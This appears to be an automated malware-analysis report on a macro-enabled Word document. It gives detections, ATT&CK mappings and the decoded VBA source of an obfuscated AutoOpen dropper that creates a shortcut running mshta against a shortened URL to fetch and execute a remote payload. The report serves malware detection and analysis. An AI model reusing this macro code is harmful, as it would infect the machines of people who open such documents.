MALICIOUS
230
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059.001 PowerShell
T1566.001 Spearphishing Attachment
The sample contains VBA macros that execute upon opening the document. The AutoOpen macro constructs a command to create a shortcut file named 'EXT.LNK' in the user's public directory. This shortcut is configured to execute 'cmd.exe' with arguments that download and run a payload from the URL 'https://bit.ly/2H55J4F'. This indicates a downloader or dropper functionality.
Heuristics 8
-
ClamAV: Doc.Dropper.Agent-8381945-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-8381945-0
-
Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
StrLP = StrLP & " /" Set ObjShl = CreateObject(SHStr) FilePath = FilePath & "K" -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "NewMacros" Sub AutoOpen() On Error Resume Next -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1787 bytes |
SHA-256: d727a7bbfc914248ad7f75b7b24f95493f08522f749d254c5eba54b78da092f4 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub AutoOpen()
On Error Resume Next
Dim SHStr As String
Dim FilePath As String
Dim ExPath As String
FilePath = "C"
SHStr = "scr"
ExPath = "Lorer "
FilePath = FilePath & ":" & "\Use" & "rs\Pub"
SHStr = "W" & SHStr
WW = "Save"
ExPath = "EXP" & ExPath
SHStr = SHStr & "ipt."
StrLP = "/"
WW = WW & "As"
StrLP = StrLP & "C START"
SHStr = SHStr & "She"
FilePath = FilePath & "lic\EXT." & "LN"
SHStr = SHStr & "ll"
StrRn = "MD"
StrLP = StrLP & " /"
Set ObjShl = CreateObject(SHStr)
FilePath = FilePath & "K"
Set Sht = ObjShl.CreateShortcut(FilePath)
StrRn = "C" & StrRn
Sht.TargetPath = StrRn
StrName = "P" & "R"
StrTemp = "HT" & "A htt"
StrTemp = StrTemp & "ps:/"
Sht.Arguments = StrLP & "B MS" & StrTemp & "/bit" & "." & "ly/2H55J4F"
Sht.Save
StrName = "G" & "D" & StrName
ViewDocument StrName
ObjShl.Run ExPath & FilePath
End Sub
Sub ViewDocument(StrName)
On Error Resume Next
Dim ObjectPic As Shape
ActiveDocument.ActiveWindow.View.Type = wdPrintView
ActiveDocument.ActiveWindow.View.ReadingLayout = False
For Each ObjectPic In ActiveDocument.Shapes
If ObjectPic.AlternativeText = StrName Then
ObjectPic.Delete
End If
Next ObjectPic
ActiveDocument.Content.Font.Hidden = False
ActiveDocument.Content.Font.Color = 0
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.